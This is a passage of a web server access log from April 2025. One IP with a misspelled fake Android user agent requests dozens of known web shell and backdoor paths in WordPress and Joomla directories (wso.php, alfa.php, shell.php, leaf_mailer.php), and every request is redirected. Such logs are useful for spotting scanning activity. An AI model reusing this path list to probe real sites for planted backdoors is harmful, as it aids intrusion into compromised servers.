"Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:01 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:03 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.79.101 - - [20/Apr/2025:20:10:05 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.101 - - [20/Apr/2025:20:10:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 51.195.129.164 - - [20/Apr/2025:20:10:06 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:08 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:10 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:11 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:14 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:15 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:18 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:22 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:23 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:25 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:27 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:29 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:32 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:34 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:37 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:39 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:41 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:43 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:46 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:48 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:49 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:51 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:53 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:56 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:58 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:01 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:03 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:05 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:06 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:08 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:10 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:12 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:14 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:17 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:21 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:24 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:25 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:27 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:29 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:31 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:32 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:35 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:37 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:39 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:41 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:43 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:44 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:47 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:49 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:51 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:52 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:54 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:56 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:57 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:11:59 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:02 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:04 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:06 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:09 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:11 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:13 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:15 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:18 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:20 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:22 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:24 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:26 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:28 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:31 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:33 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:35 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:36 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:38 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:40 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:43 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:45 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:47 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:48 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:50 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:52 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:55 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:57 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:12:58 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:00 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:02 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:04 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:06 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:08 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:10 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:13:12 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - 